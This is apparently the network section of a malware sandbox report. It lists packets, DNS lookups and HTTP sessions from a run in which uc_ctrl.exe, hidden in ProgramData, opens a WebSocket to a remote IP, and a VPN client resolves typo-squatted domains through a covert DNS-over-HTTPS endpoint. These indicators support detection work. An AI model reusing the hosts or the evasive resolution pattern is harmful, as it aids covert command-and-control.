                                                                                            Jul 20, 2024 11:38:12.193487883 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.198945999 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.199042082 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.204209089 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.204253912 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.209722996 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.209788084 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.214782000 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.214837074 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.219953060 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.220144033 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.225543976 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.225591898 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.230633974 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.230690956 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.235713005 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.235758066 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.240685940 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.240758896 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.245702982 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.245768070 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.250796080 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.250839949 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.258946896 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.259005070 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.264010906 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.264066935 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.269181967 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.269279957 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.274358034 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.274415970 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.279536009 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.279584885 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.284662962 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.284735918 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.289853096 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.289980888 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.295001030 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.295059919 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.300127983 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.300184011 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.305135965 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.305213928 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.310436964 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.310499907 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.315411091 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.315464973 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.320338011 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.320399046 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.325427055 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.325485945 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.330482006 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.330529928 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.335475922 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.335519075 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.340450048 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.340523005 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.345576048 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.345650911 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.350676060 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.350748062 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.355741024 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.356785059 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.361776114 CEST1562849735154.204.0.4192.168.2.4
                                                                                            Jul 20, 2024 11:38:12.363981962 CEST4973515628192.168.2.4154.204.0.4
                                                                                            Jul 20, 2024 11:38:12.369115114 CEST1562849735154.204.0.4192.168.2.4

                                                                                            DNS Queries

                                                                                            TimestampSource IPDest IPTrans IDOP CodeNameTypeClassDNS over HTTPS
                                                                                            Jul 20, 2024 11:36:46.451297998 CEST192.168.2.41.1.1.10xa1bbStandard query (0)in.appcenter.msA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:47.058373928 CEST192.168.2.41.1.1.10x59efStandard query (0)ws-ap1.pusher.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.166378021 CEST192.168.2.41.1.1.10x7387Standard query (0)www.baidu.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.170377970 CEST192.168.2.41.1.1.10xb23aStandard query (0)www.yandex.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.170377970 CEST192.168.2.41.1.1.10xb4cbStandard query (0)www.google.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.517097950 CEST192.168.2.48.8.8.80xf16aStandard query (0)nal.fqoqehwib.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.517348051 CEST192.168.2.48.8.8.80xfd3dStandard query (0)nit.crash1ytics.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.517595053 CEST192.168.2.48.8.8.80x66efStandard query (0)chr.alipayassets.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.518377066 CEST192.168.2.41.1.1.10xe74fStandard query (0)d1dmgcawtbm6l9.cloudfront.netA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:03.565314054 CEST192.168.2.41.1.1.10x5528Standard query (0)in.appcenter.msA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.212361097 CEST192.168.2.48.8.8.80x954fStandard query (0)nit.crash1ytics.comA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.212968111 CEST192.168.2.41.1.1.10x98b5Standard query (0)d1dmgcawtbm6l9.cloudfront.netA (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:38:09.562685966 CEST192.168.2.41.1.1.10xbaf6Standard query (0)in.appcenter.msA (IP address)IN (0x0001)false

                                                                                            DNS Answers

                                                                                            TimestampSource IPDest IPTrans IDReply CodeNameCNameAddressTypeClassDNS over HTTPS
                                                                                            Jul 20, 2024 11:36:46.459872961 CEST1.1.1.1192.168.2.40xa1bbNo error (0)in.appcenter.msin-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.netCNAME (Canonical name)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:47.087848902 CEST1.1.1.1192.168.2.40x59efNo error (0)ws-ap1.pusher.comsocket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.comCNAME (Canonical name)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:47.087848902 CEST1.1.1.1192.168.2.40x59efNo error (0)socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com18.136.78.90A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:47.087848902 CEST1.1.1.1192.168.2.40x59efNo error (0)socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com18.139.183.38A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:47.087848902 CEST1.1.1.1192.168.2.40x59efNo error (0)socket-ap1-ingress-1471706552.ap-southeast-1.elb.amazonaws.com18.139.169.84A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.173537016 CEST1.1.1.1192.168.2.40x7387No error (0)www.baidu.comwww.a.shifen.comCNAME (Canonical name)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.173537016 CEST1.1.1.1192.168.2.40x7387No error (0)www.a.shifen.comwww.wshifen.comCNAME (Canonical name)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.173537016 CEST1.1.1.1192.168.2.40x7387No error (0)www.wshifen.com103.235.46.96A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.173537016 CEST1.1.1.1192.168.2.40x7387No error (0)www.wshifen.com103.235.47.188A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.177489042 CEST1.1.1.1192.168.2.40xb4cbNo error (0)www.google.com142.250.186.132A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.179582119 CEST1.1.1.1192.168.2.40xb23aNo error (0)www.yandex.comyandex.comCNAME (Canonical name)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.179582119 CEST1.1.1.1192.168.2.40xb23aNo error (0)yandex.com77.88.44.55A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.179582119 CEST1.1.1.1192.168.2.40xb23aNo error (0)yandex.com77.88.55.88A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.179582119 CEST1.1.1.1192.168.2.40xb23aNo error (0)yandex.com5.255.255.77A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.528059959 CEST1.1.1.1192.168.2.40xe74fNo error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.115A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.528059959 CEST1.1.1.1192.168.2.40xe74fNo error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.182A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.528059959 CEST1.1.1.1192.168.2.40xe74fNo error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.227A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.528059959 CEST1.1.1.1192.168.2.40xe74fNo error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.13A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.760394096 CEST8.8.8.8192.168.2.40xfd3dNo error (0)nit.crash1ytics.com223.61.70.52A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.760394096 CEST8.8.8.8192.168.2.40xfd3dNo error (0)nit.crash1ytics.com67.137.174.254A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.760394096 CEST8.8.8.8192.168.2.40xfd3dNo error (0)nit.crash1ytics.com142.242.204.31A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.760394096 CEST8.8.8.8192.168.2.40xfd3dNo error (0)nit.crash1ytics.com19.88.16.251A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.761625051 CEST8.8.8.8192.168.2.40xf16aNo error (0)nal.fqoqehwib.com104.112.172.245A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.761625051 CEST8.8.8.8192.168.2.40xf16aNo error (0)nal.fqoqehwib.com5.217.108.181A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.761625051 CEST8.8.8.8192.168.2.40xf16aNo error (0)nal.fqoqehwib.com99.34.124.121A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.761625051 CEST8.8.8.8192.168.2.40xf16aNo error (0)nal.fqoqehwib.com10.176.38.125A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.761625051 CEST8.8.8.8192.168.2.40xf16aNo error (0)nal.fqoqehwib.com33.86.72.19A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.833126068 CEST8.8.8.8192.168.2.40x66efNo error (0)chr.alipayassets.com12.206.118.229A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.833126068 CEST8.8.8.8192.168.2.40x66efNo error (0)chr.alipayassets.com85.222.79.57A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:36:48.833126068 CEST8.8.8.8192.168.2.40x66efNo error (0)chr.alipayassets.com222.91.58.119A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:03.573297024 CEST1.1.1.1192.168.2.40x5528No error (0)in.appcenter.msin-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.netCNAME (Canonical name)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.234476089 CEST1.1.1.1192.168.2.40x98b5No error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.13A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.234476089 CEST1.1.1.1192.168.2.40x98b5No error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.115A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.234476089 CEST1.1.1.1192.168.2.40x98b5No error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.182A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.234476089 CEST1.1.1.1192.168.2.40x98b5No error (0)d1dmgcawtbm6l9.cloudfront.net108.138.24.227A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.531698942 CEST8.8.8.8192.168.2.40x954fNo error (0)nit.crash1ytics.com19.88.16.251A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.531698942 CEST8.8.8.8192.168.2.40x954fNo error (0)nit.crash1ytics.com142.242.204.31A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.531698942 CEST8.8.8.8192.168.2.40x954fNo error (0)nit.crash1ytics.com67.137.174.254A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:37:10.531698942 CEST8.8.8.8192.168.2.40x954fNo error (0)nit.crash1ytics.com223.61.70.52A (IP address)IN (0x0001)false
                                                                                            Jul 20, 2024 11:38:09.569780111 CEST1.1.1.1192.168.2.40xbaf6No error (0)in.appcenter.msin-prod-pme-eastus2-ingestion-66ddb56a.trafficmanager.netCNAME (Canonical name)IN (0x0001)false

                                                                                            HTTP Packets

                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            0192.168.2.449735154.204.0.4156287744C:\ProgramData\s2XlA\7R1b9~m7\uc_ctrl.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            Jul 20, 2024 11:36:16.135613918 CEST228OUTGET /\ HTTP/1.1
                                                                                            Connection: Upgrade
                                                                                            Sec-WebSocket-Key: DxJCKFIBGCTbFGlKiCHNECGjd
                                                                                            Sec-WebSocket-Version: 13
                                                                                            Upgrade: websocket
                                                                                            Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
                                                                                            Host: 154.204.0.4:15628
                                                                                            Jul 20, 2024 11:36:17.029983997 CEST148INHTTP/1.1 101 Switching Protocols
                                                                                            Connection: Upgrade
                                                                                            Upgrade: WebSocket
                                                                                            Sec-WebSocket-Accept: 1GuInuIfQC82faL5Ya2szbH7Aoc=
                                                                                            Content-Length: 0


                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            1192.168.2.44974418.136.78.90807096C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            Jul 20, 2024 11:36:47.122683048 CEST265OUTGET /app/4fc436ef36f4026102d7?protocol=5&client=pusher-dotnet-client&version=1.1.2 HTTP/1.1
                                                                                            Host: ws-ap1.pusher.com
                                                                                            Upgrade: websocket
                                                                                            Connection: Upgrade
                                                                                            Sec-WebSocket-Version: 13
                                                                                            Sec-WebSocket-Key: NGNkNWI2MWUtMWMzNi00ZQ==
                                                                                            Origin: ws://ws-ap1.pusher.com
                                                                                            Jul 20, 2024 11:36:48.025680065 CEST166INHTTP/1.1 101 Switching Protocols
                                                                                            Date: Sat, 20 Jul 2024 09:36:47 GMT
                                                                                            Connection: upgrade
                                                                                            Upgrade: websocket
                                                                                            Sec-WebSocket-Accept: as6Ob+WiksLl+2WKmIuFuKbN1F0=
                                                                                            Jul 20, 2024 11:36:48.233931065 CEST166INHTTP/1.1 101 Switching Protocols
                                                                                            Date: Sat, 20 Jul 2024 09:36:47 GMT
                                                                                            Connection: upgrade
                                                                                            Upgrade: websocket
                                                                                            Sec-WebSocket-Accept: as6Ob+WiksLl+2WKmIuFuKbN1F0=
                                                                                            Jul 20, 2024 11:36:48.726308107 CEST242INData Raw: 81 7e 00 92 7b 22 65 76 65 6e 74 22 3a 22 70 75 73 68 65 72 3a 65 72 72 6f 72 22 2c 22 64 61 74 61 22 3a 7b 22 63 6f 64 65 22 3a 34 30 30 31 2c 22 6d 65 73 73 61 67 65 22 3a 22 41 70 70 20 6b 65 79 20 34 66 63 34 33 36 65 66 33 36 66 34 30 32 36
                                                                                            Data Ascii: ~{"event":"pusher:error","data":{"code":4001,"message":"App key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?"}}ZApp key 4fc436ef36f4026102d7 not in this cluster. Did you forget to specify the cluster?
                                                                                            Jul 20, 2024 11:36:48.790224075 CEST8OUTData Raw: 88 82 28 82 0b 93 2b 6a
                                                                                            Data Ascii: (+j


                                                                                            HTTPS Proxied Packets

                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            0192.168.2.449750108.138.24.1154437096C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            2024-07-20 09:36:49 UTC183OUTGET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=chr.alipayassets.com.&type=1 HTTP/1.1
                                                                                            Host: d1dmgcawtbm6l9.cloudfront.net
                                                                                            User-Agent: Go-http-client/1.1
                                                                                            Accept-Encoding: gzip
                                                                                            2024-07-20 09:36:49 UTC676INHTTP/1.1 200 OK
                                                                                            Content-Type: application/json; charset=UTF-8
                                                                                            Transfer-Encoding: chunked
                                                                                            Connection: close
                                                                                            Server: nginx/1.16.0
                                                                                            Date: Sat, 20 Jul 2024 09:36:49 GMT
                                                                                            X-Content-Type-Options: nosniff
                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                            Access-Control-Allow-Origin: *
                                                                                            Expires: Sat, 20 Jul 2024 09:36:49 GMT
                                                                                            Cache-Control: private, max-age=6
                                                                                            X-XSS-Protection: 0
                                                                                            X-Frame-Options: SAMEORIGIN
                                                                                            Accept-Ranges: none
                                                                                            Vary: Accept-Encoding
                                                                                            X-Cache: Miss from cloudfront
                                                                                            Via: 1.1 da749f044be44d389a30372d73356c4e.cloudfront.net (CloudFront)
                                                                                            X-Amz-Cf-Pop: FRA56-P7
                                                                                            X-Amz-Cf-Id: o694MDL3Imgc7nGn5BHCJ6X8URmmvi9oVjuXORztu9cx8_x4MTvh7A==
                                                                                            2024-07-20 09:36:49 UTC429INData Raw: 31 61 36 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 36 2c 22 64 61 74 61 22 3a 22 38 35 2e 32 32 32 2e 37 39 2e 35 37 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 63 68 72 2e 61 6c 69 70 61 79 61 73 73 65 74 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 36
                                                                                            Data Ascii: 1a6{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"chr.alipayassets.com.","type":1}],"Answer":[{"name":"chr.alipayassets.com.","type":1,"TTL":6,"data":"85.222.79.57"},{"name":"chr.alipayassets.com.","type":1,"TTL":6
                                                                                            2024-07-20 09:36:49 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                            Data Ascii: 0


                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            1192.168.2.449751108.138.24.1154437096C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            2024-07-20 09:36:49 UTC180OUTGET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nal.fqoqehwib.com.&type=1 HTTP/1.1
                                                                                            Host: d1dmgcawtbm6l9.cloudfront.net
                                                                                            User-Agent: Go-http-client/1.1
                                                                                            Accept-Encoding: gzip
                                                                                            2024-07-20 09:36:49 UTC676INHTTP/1.1 200 OK
                                                                                            Content-Type: application/json; charset=UTF-8
                                                                                            Transfer-Encoding: chunked
                                                                                            Connection: close
                                                                                            Server: nginx/1.16.0
                                                                                            Date: Sat, 20 Jul 2024 09:36:49 GMT
                                                                                            X-Content-Type-Options: nosniff
                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                            Access-Control-Allow-Origin: *
                                                                                            Expires: Sat, 20 Jul 2024 09:36:49 GMT
                                                                                            Cache-Control: private, max-age=1
                                                                                            X-XSS-Protection: 0
                                                                                            X-Frame-Options: SAMEORIGIN
                                                                                            Accept-Ranges: none
                                                                                            Vary: Accept-Encoding
                                                                                            X-Cache: Miss from cloudfront
                                                                                            Via: 1.1 9672a97668a5842cedcfaee3e743019e.cloudfront.net (CloudFront)
                                                                                            X-Amz-Cf-Pop: FRA56-P7
                                                                                            X-Amz-Cf-Id: 2N2SEOGg8DCZWJIsRfbd7FOJe17NnCbMQx0Bhd7DBpeD3pdwT27AXQ==
                                                                                            2024-07-20 09:36:49 UTC518INData Raw: 31 66 66 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 31 2c 22 64 61 74 61 22 3a 22 35 2e 32 31 37 2e 31 30 38 2e 31 38 31 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 61 6c 2e 66 71 6f 71 65 68 77 69 62 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 31 2c 22 64 61 74 61 22 3a
                                                                                            Data Ascii: 1ff{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nal.fqoqehwib.com.","type":1}],"Answer":[{"name":"nal.fqoqehwib.com.","type":1,"TTL":1,"data":"5.217.108.181"},{"name":"nal.fqoqehwib.com.","type":1,"TTL":1,"data":
                                                                                            2024-07-20 09:36:49 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                            Data Ascii: 0


                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            2192.168.2.449752108.138.24.1154437096C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            2024-07-20 09:36:49 UTC182OUTGET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1
                                                                                            Host: d1dmgcawtbm6l9.cloudfront.net
                                                                                            User-Agent: Go-http-client/1.1
                                                                                            Accept-Encoding: gzip
                                                                                            2024-07-20 09:36:49 UTC676INHTTP/1.1 200 OK
                                                                                            Content-Type: application/json; charset=UTF-8
                                                                                            Transfer-Encoding: chunked
                                                                                            Connection: close
                                                                                            Server: nginx/1.16.0
                                                                                            Date: Sat, 20 Jul 2024 09:36:49 GMT
                                                                                            X-Content-Type-Options: nosniff
                                                                                            Strict-Transport-Security: max-age=31536000; includeSubDomains; preload
                                                                                            Access-Control-Allow-Origin: *
                                                                                            Expires: Sat, 20 Jul 2024 09:36:49 GMT
                                                                                            Cache-Control: private, max-age=4
                                                                                            X-XSS-Protection: 0
                                                                                            X-Frame-Options: SAMEORIGIN
                                                                                            Accept-Ranges: none
                                                                                            Vary: Accept-Encoding
                                                                                            X-Cache: Miss from cloudfront
                                                                                            Via: 1.1 3199fed6c4260c9448326645d333530a.cloudfront.net (CloudFront)
                                                                                            X-Amz-Cf-Pop: FRA56-P7
                                                                                            X-Amz-Cf-Id: u2tc3En9Hdx16jIaHH7Zl2AnIX136s7q_MdBps70IKrqg8OovDhX-Q==
                                                                                            2024-07-20 09:36:49 UTC458INData Raw: 31 63 33 0d 0a 7b 22 53 74 61 74 75 73 22 3a 30 2c 22 54 43 22 3a 66 61 6c 73 65 2c 22 52 44 22 3a 74 72 75 65 2c 22 52 41 22 3a 74 72 75 65 2c 22 41 44 22 3a 66 61 6c 73 65 2c 22 43 44 22 3a 66 61 6c 73 65 2c 22 51 75 65 73 74 69 6f 6e 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 7d 5d 2c 22 41 6e 73 77 65 72 22 3a 5b 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 34 2c 22 64 61 74 61 22 3a 22 31 39 2e 38 38 2e 31 36 2e 32 35 31 22 7d 2c 7b 22 6e 61 6d 65 22 3a 22 6e 69 74 2e 63 72 61 73 68 31 79 74 69 63 73 2e 63 6f 6d 2e 22 2c 22 74 79 70 65 22 3a 31 2c 22 54 54 4c 22 3a 34 2c 22 64
                                                                                            Data Ascii: 1c3{"Status":0,"TC":false,"RD":true,"RA":true,"AD":false,"CD":false,"Question":[{"name":"nit.crash1ytics.com.","type":1}],"Answer":[{"name":"nit.crash1ytics.com.","type":1,"TTL":4,"data":"19.88.16.251"},{"name":"nit.crash1ytics.com.","type":1,"TTL":4,"d
                                                                                            2024-07-20 09:36:49 UTC5INData Raw: 30 0d 0a 0d 0a
                                                                                            Data Ascii: 0


                                                                                            Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                            3192.168.2.449772108.138.24.134437096C:\Program Files (x86)\letsvpn\app-3.7.0\LetsPRO.exe
                                                                                            TimestampBytes transferredDirectionData
                                                                                            2024-07-20 09:37:11 UTC182OUTGET /rest-api?edns_client_subnet=0.0.0.0%2F0&name=nit.crash1ytics.com.&type=1 HTTP/1.1
                                                                                            Host: d1dmgcawtbm6l9.cloudfront.net
                                                                                            User-Agent: Go-http-client/1.1
                                                                                            Accept-Encoding: gzip
                                                                                            2024-07-20 09:37:11 UTC676INHTTP/1.1 200 OK
                                                                                            Content-Type: application/json; charset=UTF-8
                                                                                            Transfer-Encoding: chunked
                                                                                            Connection: close
                                                                                            Server: nginx/1.16.0
                                                                                            Date: Sat, 20 Jul 2024 09:37:11 GMT
